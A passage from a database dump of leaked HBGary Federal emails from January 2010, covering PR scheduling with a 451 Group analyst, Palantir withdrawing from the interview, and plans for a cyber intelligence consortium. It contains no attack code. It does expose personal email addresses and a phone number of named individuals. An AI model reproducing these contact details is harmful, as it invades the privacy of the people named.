\r\n    \r\n    Hi Aaron, The 451 Group analyst Paul Roberts,a security industry\r\n    analyst,&nbsp;would like to speak to both you and Palantir regarding your\r\n    announcement today. It would be great if we could schedule it the next few\r\n    days with both you and a Palantir spokesperson.&nbsp;&nbsp;\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    Background: Penny and Greg Hoglund recently did a\r\n    corporate&nbsp;update briefing with Paul on HBGary -- prior to when we\r\n    announced HBGary Federal. The opportunity here would be to provide Paul with\r\n    a&nbsp;brief overview of HBGary Federal and specifics on the announcement.\r\n    He will be publishing a report on e-Crime next month and plans to include\r\n    HBGary in the report. Most likely, he may use this interview to include in\r\n    the report; write a separate briefing&nbsp; note; or blog about on his 451\r\n    Group blog, Plausible Deniability.\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    Please let me know how you want to pursue. Best, Karen\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Aaron\r\n  Barr\r\n  \r\n  \r\n  CEO\r\n  \r\n  \r\n  HBGary\r\n  Federal Inc.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1729,'aaron_hbgary_com/1729.html'),(1554,'2010-01-27','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000469.M615008P3547Q1554.eml','\"Aaron Barr\" <aaron@hbgary.com>','consortium thoughts','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI wanted to synchronize our thoughts after the meeting today.&nbsp;\r\nA few of my observations:\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSplunk &#8211;&nbsp; in my opinion they don&#8217;t get\r\nit.&nbsp; do we really need them to get it?&nbsp; I don&#8217;t think so.&nbsp;\r\nI believe we could use Splunk&#8217;s technology successfully without them\r\nbeing involved as long as we are given their API/SDK.&nbsp; I plan to download the\r\nsplunk stuff and kick the tires ASAP.&nbsp; \r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNetwitness &#8211; I think they&#8217;ll go along with\r\nthe program but not really drive any innovation until they see dollars.&nbsp; That\r\nis probably fine for Phase 1 integration of the solution.&nbsp; \r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEnd-Game Systems &#8211; I really like these guys and\r\nwhat they do.. this is what I&#8217;m going to start doing from home on the\r\nweekends and at night. ;)\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\r\noffered them some responder software to test. Will be in touch with Dave and\r\nAlan.\r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I&#8217;m\r\ntrying to get some sort of consumable information from End Game that we could\r\nuse to enhance DDNA and the Genome build out of Actors, Locations, Network\r\nAssets, etc.\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nI&#8217;ve Identified A CURRENT GAP IN THE CONSORTIUM&#8217;S\r\nCAPABILITY&#8230; enterprise disk forensics.&nbsp; &nbsp;&nbsp;Our solution\r\nmust have robust remote disk forensic like capability that can be used like a scalpel\r\nto surgically remove 1 or more files during normal incident response work\r\nflow.&nbsp; &nbsp;I believe we need to bring Guidance Software into the Consortium\r\nbecause as of now our solution lacks robust &#8220;remote&#8221; disk analytics.&nbsp;\r\nOf course I wish the DDNA agent had all these capabilities right now but it doesn&#8217;t.\r\n&nbsp;\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The\r\ngood news about bringing Guidance into the consortium is Jim Butterworth a former\r\nNavy guy who is tight with Cmdr Ashworth of 10th Fleet.&nbsp; Jim\r\nand he are good friends. \r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAll involved in this meeting seemed worried about level\r\nof effort and in my mind I understand where they are coming from but I think it&#8217;s\r\na bunch of shit. &nbsp;&nbsp;From my perspective, if all companies agree, lets\r\nget me all the software ASAP.&nbsp; &nbsp;I can easily have a bad ass prototype\r\ndemo in 2-3 weeks. &nbsp;Then we&#8217;ll know what we have out of the box as a\r\nstarting point.. then we can accurately predict the level of effort required by\r\neach organization to create the optimal solution or at least enough to destroy\r\nany potential competition. \r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I&#8217;ll\r\nget Netwitness by tomorrow \r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I&#8217;ll\r\nget splunk by tomorrow\r\n\r\nc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I&#8217;ll\r\ntalk with End-Game about something I can consume, digest and produce DDNA \r\n\r\nd.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\r\nneed to get Palantir.&nbsp; Who should I contact?&nbsp; Can you help?\r\n\r\ne.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I&#8217;ve\r\ngot Encase Enterprise from Guidance Software already\r\n\r\nf.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nZetron &#8211; they&#8217;ve got nothing for me&#8230;\r\nthat I know of&#8230; right?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThat&#8217;s all I can think of now.&nbsp; Is Ashworth the\r\ncurrent head of 10th Flt?&nbsp; What do you think?&nbsp; \r\n\r\n&nbsp;\r\n\r\nThx,\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6441,'aaron_hbgary_com/6441.html'),(1555,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000469.M819161P3547Q1555.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Fwd: Schedule Interview with The 451 Group analyst Paul Roberts','Hmmm pulled to soon.  Let me know if it&#39;s still of interest to Paul if it&#39;s just me.AaronFrom my iPhoneBegin forwarded message:\r\nFrom: Matthew Steckman &lt;msteckman@palantirtech.com&gt;Date: January 26, 2010 9:06:03 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\nYoure telling me.  I just shot an email to my peeps about\r\nthe interview tomorrow.  We are going to bow out on the 451 interview L My\r\nPR team tells me that we are pretty selective when it comes to interview stuff\r\n(this is a whole new world to me so I didn’t know, my bad for saying we\r\nwere in today).\r\n\r\n \r\n\r\nAs far as the Wired thing, that’s pretty awesome. \r\nWould it be for the magazine or for one of their security blogs?    \r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 8:08 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAlso.  We are talking with wired magazine about the\r\nwhole malware genome and digital DNA thing.  We will be talking about the\r\nthreat intelligence effort and our partnership.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIt&#39;s been a busy day.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 26, 2010, at 8:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHaha,\r\nwow, right, thanks.\r\n\r\n \r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Tuesday, January 26, 2010 8:01 PM\r\nTo: Matthew Steckman\r\nSubject: Fwd: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nLol\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nKaren Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: January 26, 2010 10:44:43 AM EST\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Schedule Interview with The 451 Group analyst Paul\r\nRoberts\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  Thanks\r\n  Aaron. As soon as you hear back from Palantir, please let me\r\n  know. Paul would like to do the call as soon as possible. In the\r\n  meantime, I&#39;ll look forward to your updates re the consortium. Best, Karen\r\n  \r\n  \r\n   \r\n  \r\n  \r\n  -\r\n  On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt;\r\n  wrote:\r\n  \r\n  \r\n  \r\n  From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n  Subject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n  To: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\n  Date: Tuesday, January 26, 2010, 5:20 AM\r\n  \r\n  Karen,\r\n  \r\n  \r\n   \r\n  \r\n  \r\n  Thanks.\r\n   I am checking if Palantir can support this.  I would like to do\r\n  this interview and can support in the nexst few days.\r\n  \r\n  \r\n   \r\n  \r\n  \r\n  As\r\n  I mentioned to you, today is our kickoff meeting for our Cyber Intelligence\r\n  Consortium, where I am bringing the best of breed companies together to\r\n  develop a full-spectrum cyber intelligence capability.  I am getting\r\n  very positive feedback from folks I talk to you about this endeavor.  \r\n  So I would like to work with you to develop the next press release for this\r\n  effort.\r\n  \r\n  \r\n   \r\n  \r\n  \r\n  I\r\n  think we should have the Operating agreement signed today and have worked\r\n  some initial numbers, or should I say Ted worked in some initial numbers of\r\n  hours for your support.  I should be able to discuss that with you today\r\n  or tomorrow.\r\n  \r\n  \r\n   \r\n  \r\n  \r\n  Thanks,\r\n  \r\n  \r\n  Aaron\r\n  \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n  \r\n  On\r\n  Jan 25, 2010, at 5:00 PM, Karen Burke wrote:\r\n  \r\n   \r\n  \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    Hi Aaron, The 451 Group analyst Paul Roberts,a security industry\r\n    analyst, would like to speak to both you and Palantir regarding your\r\n    announcement today. It would be great if we could schedule it the next few\r\n    days with both you and a Palantir spokesperson.  \r\n    \r\n    \r\n     \r\n    \r\n    \r\n    Background: Penny and Greg Hoglund recently did a\r\n    corporate update briefing with Paul on HBGary -- prior to when we\r\n    announced HBGary Federal. The opportunity here would be to provide Paul with\r\n    a brief overview of HBGary Federal and specifics on the announcement.\r\n    He will be publishing a report on e-Crime next month and plans to include\r\n    HBGary in the report. Most likely, he may use this interview to include in\r\n    the report; write a separate briefing  note; or blog about on his 451\r\n    Group blog, Plausible Deniability.\r\n    \r\n    \r\n     \r\n    \r\n    \r\n    Please let me know how you want to pursue. Best, Karen\r\n    \r\n    \r\n     \r\n    \r\n    \r\n     \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n   \r\n  \r\n   \r\n  \r\n  \r\n  Aaron\r\n  Barr\r\n  \r\n  \r\n  CEO\r\n  \r\n  \r\n  HBGary\r\n  Federal Inc.\r\n  \r\n  \r\n   \r\n  \r\n   \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4868,'aaron_hbgary_com/4868.html'),(1556,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000470.M277934P3547Q1557.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Schedule Interview with The 451 Group analyst Paul Roberts','Yep.From my iPhoneOn Jan 26, 2010, at 9:35 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nOkay thanks Aaron -- are you fairly available tomorrow?--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Fwd: Schedule Interview with The 451 Group analyst Paul Roberts\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 6:15 PM\r\n\r\nHmmm pulled to soon.  Let me know if it&#39;s still of interest to Paul if it&#39;s just me.\r\n\r\nAaronFrom my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nDate: January 26, 2010 9:06:03 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\nYoure telling me.  I just shot an email to my peeps about the interview tomorrow.  We are going to bow out on the 451 interview L My PR team tells me that we are pretty selective when it comes to interview stuff (this is a whole new world to me so I didn’t know, my bad for saying we were in today).\r\n\r\n \r\nAs far as the Wired thing, that’s pretty awesome.  Would it be for the magazine or for one of their security blogs?    \r\n \r\n\r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 8:08 PMTo: Matthew SteckmanSubject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n \r\n\r\nAlso.  We are talking with wired magazine about the whole malware genome and digital DNA thing.  We will be talking about the threat intelligence effort and our partnership.\r\n\r\n \r\n\r\nIt&#39;s been a busy day.\r\n\r\n \r\n\r\nAaronFrom my iPhone\r\n\r\nOn Jan 26, 2010, at 8:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHaha, wow, right, thanks.\r\n \r\n\r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 8:01 PMTo: Matthew SteckmanSubject: Fwd: Schedule Interview with The 451 Group analyst Paul Roberts\r\n \r\n\r\nLolFrom my iPhone\r\n\r\nBegin forwarded message:\r\n\r\n\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: January 26, 2010 10:44:43 AM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron. As soon as you hear back from Palantir, please let me know. Paul would like to do the call as soon as possible. In the meantime, I&#39;ll look forward to your updates re the consortium. Best, Karen\r\n\r\n\r\n \r\n\r\n- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Schedule Interview with The 451 Group analyst Paul RobertsTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\nDate: Tuesday, January 26, 2010, 5:20 AM\r\n\r\nKaren, \r\n\r\n \r\n\r\nThanks.  I am checking if Palantir can support this.  I would like to do this interview and can support in the nexst few days.\r\n\r\n \r\n\r\nAs I mentioned to you, today is our kickoff meeting for our Cyber Intelligence Consortium, where I am bringing the best of breed companies together to develop a full-spectrum cyber intelligence capability.  I am getting very positive feedback from folks I talk to you about this endeavor.   So I would like to work with you to develop the next press release for this effort.\r\n\r\n\r\n \r\n\r\nI think we should have the Operating agreement signed today and have worked some initial numbers, or should I say Ted worked in some initial numbers of hours for your support.  I should be able to discuss that with you today or tomorrow.\r\n\r\n\r\n \r\n\r\nThanks,\r\n\r\nAaron\r\n\r\n \r\n\r\n \r\n\r\n\r\nOn Jan 25, 2010, at 5:00 PM, Karen Burke wrote:\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, The 451 Group analyst Paul Roberts,a security industry analyst, would like to speak to both you and Palantir regarding your announcement today. It would be great if we could schedule it the next few days with both you and a Palantir spokesperson.  \r\n\r\n\r\n \r\n\r\nBackground: Penny and Greg Hoglund recently did a corporate update briefing with Paul on HBGary -- prior to when we announced HBGary Federal. The opportunity here would be to provide Paul with a brief overview of HBGary Federal and specifics on the announcement. He will be publishing a report on e-Crime next month and plans to include HBGary in the report. Most likely, he may use this interview to include in the report; write a separate briefing  note; or blog about on his 451 Group blog, Plausible Deniability.\r\n\r\n\r\n \r\n\r\nPlease let me know how you want to pursue. Best, Karen\r\n\r\n \r\n\r\n \r\n \r\n \r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n \r\n \r\n \r\n\r\n\r\n\r\n      \r\n',14981,'aaron_hbgary_com/14981.html'),(1557,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000470.M485136P3547Q1558.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Schedule Interview with The 451 Group analyst Paul Roberts','Maybe we could tell them the guy at palantir wasn&#39;t available last minute. :)From my iPhoneOn Jan 26, 2010, at 9:35 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nOkay thanks Aaron -- are you fairly available tomorrow?--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Fwd: Schedule Interview with The 451 Group analyst Paul Roberts\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 6:15 PM\r\n\r\nHmmm pulled to soon.  Let me know if it&#39;s still of interest to Paul if it&#39;s just me.\r\n\r\nAaronFrom my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nDate: January 26, 2010 9:06:03 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\nYoure telling me.  I just shot an email to my peeps about the interview tomorrow.  We are going to bow out on the 451 interview L My PR team tells me that we are pretty selective when it comes to interview stuff (this is a whole new world to me so I didn’t know, my bad for saying we were in today).\r\n\r\n \r\nAs far as the Wired thing, that’s pretty awesome.  Would it be for the magazine or for one of their security blogs?    \r\n \r\n\r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 8:08 PMTo: Matthew SteckmanSubject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n \r\n\r\nAlso.  We are talking with wired magazine about the whole malware genome and digital DNA thing.  We will be talking about the threat intelligence effort and our partnership.\r\n\r\n \r\n\r\nIt&#39;s been a busy day.\r\n\r\n \r\n\r\nAaronFrom my iPhone\r\n\r\nOn Jan 26, 2010, at 8:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHaha, wow, right, thanks.\r\n \r\n\r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 8:01 PMTo: Matthew SteckmanSubject: Fwd: Schedule Interview with The 451 Group analyst Paul Roberts\r\n \r\n\r\nLolFrom my iPhone\r\n\r\nBegin forwarded message:\r\n\r\n\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: January 26, 2010 10:44:43 AM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron. As soon as you hear back from Palantir, please let me know. Paul would like to do the call as soon as possible. In the meantime, I&#39;ll look forward to your updates re the consortium. Best, Karen\r\n\r\n\r\n \r\n\r\n- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Schedule Interview with The 451 Group analyst Paul RobertsTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\nDate: Tuesday, January 26, 2010, 5:20 AM\r\n\r\nKaren, \r\n\r\n \r\n\r\nThanks.  I am checking if Palantir can support this.  I would like to do this interview and can support in the nexst few days.\r\n\r\n \r\n\r\nAs I mentioned to you, today is our kickoff meeting for our Cyber Intelligence Consortium, where I am bringing the best of breed companies together to develop a full-spectrum cyber intelligence capability.  I am getting very positive feedback from folks I talk to you about this endeavor.   So I would like to work with you to develop the next press release for this effort.\r\n\r\n\r\n \r\n\r\nI think we should have the Operating agreement signed today and have worked some initial numbers, or should I say Ted worked in some initial numbers of hours for your support.  I should be able to discuss that with you today or tomorrow.\r\n\r\n\r\n \r\n\r\nThanks,\r\n\r\nAaron\r\n\r\n \r\n\r\n \r\n\r\n\r\nOn Jan 25, 2010, at 5:00 PM, Karen Burke wrote:\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, The 451 Group analyst Paul Roberts,a security industry analyst, would like to speak to both you and Palantir regarding your announcement today. It would be great if we could schedule it the next few days with both you and a Palantir spokesperson.  \r\n\r\n\r\n \r\n\r\nBackground: Penny and Greg Hoglund recently did a corporate update briefing with Paul on HBGary -- prior to when we announced HBGary Federal. The opportunity here would be to provide Paul with a brief overview of HBGary Federal and specifics on the announcement. He will be publishing a report on e-Crime next month and plans to include HBGary in the report. Most likely, he may use this interview to include in the report; write a separate briefing  note; or blog about on his 451 Group blog, Plausible Deniability.\r\n\r\n\r\n \r\n\r\nPlease let me know how you want to pursue. Best, Karen\r\n\r\n \r\n\r\n \r\n \r\n \r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n \r\n \r\n \r\n\r\n\r\n\r\n      \r\n',15314,'aaron_hbgary_com/15314.html'),(1558,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000470.M671758P3547Q1559.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','I got am idea.','What if we talk to IS and work out am arrangment.\r\n\r\n From my iPhone\r\n',14626,'aaron_hbgary_com/14626.html'),(1559,'2010-01-27','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000470.M70070P3547Q1556.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Fwd: Schedule Interview with The 451 Group analyst Paul Roberts','Okay thanks Aaron -- are you fairly available tomorrow?--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Fwd: Schedule Interview with The 451 Group analyst Paul RobertsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 6:15 PM\r\n\r\nHmmm pulled to soon. &nbsp;Let me know if it\'s still of interest to Paul if it\'s just me.\r\n\r\nAaronFrom my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Matthew Steckman &lt;msteckman@palantirtech.com&gt;Date: January 26, 2010 9:06:03 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\nYoure telling me.&nbsp; I just shot an email to my peeps about the interview tomorrow.&nbsp; We are going to bow out on the 451 interview L My PR team tells me that we are pretty selective when it comes to interview stuff (this is a whole new world to me so I didn’t know, my bad for saying we were in today).\r\n&nbsp;\r\nAs far as the Wired thing, that’s pretty awesome.&nbsp; Would it be for the magazine or for one of their security blogs?&nbsp; &nbsp;&nbsp;\r\n&nbsp;\r\n\r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com | 202-257-2270\r\n&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 26, 2010 8:08 PMTo: Matthew SteckmanSubject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n&nbsp;\r\n\r\nAlso. &nbsp;We are talking with wired magazine about the whole malware genome and digital DNA thing. &nbsp;We will be talking about the threat intelligence effort and our partnership.\r\n\r\n&nbsp;\r\n\r\nIt\'s been a busy day.\r\n\r\n&nbsp;\r\n\r\nAaronFrom my iPhone\r\n\r\nOn Jan 26, 2010, at 8:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\nHaha, wow, right, thanks.\r\n&nbsp;\r\n\r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com | 202-257-2270\r\n&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 26, 2010 8:01 PMTo: Matthew SteckmanSubject: Fwd: Schedule Interview with The 451 Group analyst Paul Roberts\r\n&nbsp;\r\n\r\nLolFrom my iPhone\r\n\r\nBegin forwarded message:\r\n\r\n\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Date: January 26, 2010 10:44:43 AM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron.&nbsp;As soon as you hear back from Palantir, please let me know.&nbsp;Paul would like to do the call as soon as possible.&nbsp;In the meantime, I\'ll look forward to your updates re the consortium. Best, Karen\r\n\r\n&nbsp;\r\n\r\n- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul RobertsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 5:20 AM\r\n\r\nKaren, \r\n\r\n&nbsp;\r\n\r\nThanks. &nbsp;I am checking if Palantir can support this. &nbsp;I would like to do this interview and can support in the nexst few days.\r\n\r\n&nbsp;\r\n\r\nAs I mentioned to you, today is our kickoff meeting for our Cyber Intelligence Consortium, where I am bringing the best of breed companies together to develop a full-spectrum cyber intelligence capability. &nbsp;I am getting very positive feedback from folks I talk to you about this endeavor. &nbsp; So I would like to work with you to develop the next press release for this effort.\r\n\r\n&nbsp;\r\n\r\nI think we should have the Operating agreement signed today and have worked some initial numbers, or should I say Ted worked in some initial numbers of hours for your support. &nbsp;I should be able to discuss that with you today or tomorrow.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nAaron\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\nOn Jan 25, 2010, at 5:00 PM, Karen Burke wrote:\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, The 451 Group analyst Paul Roberts,a security industry analyst,&nbsp;would like to speak to both you and Palantir regarding your announcement today. It would be great if we could schedule it the next few days with both you and a Palantir spokesperson.&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nBackground: Penny and Greg Hoglund recently did a corporate&nbsp;update briefing with Paul on HBGary -- prior to when we announced HBGary Federal. The opportunity here would be to provide Paul with a&nbsp;brief overview of HBGary Federal and specifics on the announcement. He will be publishing a report on e-Crime next month and plans to include HBGary in the report. Most likely, he may use this interview to include in the report; write a separate briefing&nbsp; note; or blog about on his 451 Group blog, Plausible Deniability.\r\n\r\n&nbsp;\r\n\r\nPlease let me know how you want to pursue. Best, Karen\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',12223,'aaron_hbgary_com/12223.html'),(1560,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000470.M854705P3547Q1560.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Schedule Interview with The 451 Group analyst Paul Roberts','Np.  I&#39;ll tell them ur &quot;unavailable&quot;.  Maybe someday I cam be more selective. :)It&#39;s for wired proper.  The digital DNA article that hit today is getting lots of spread.  Turns out we have a 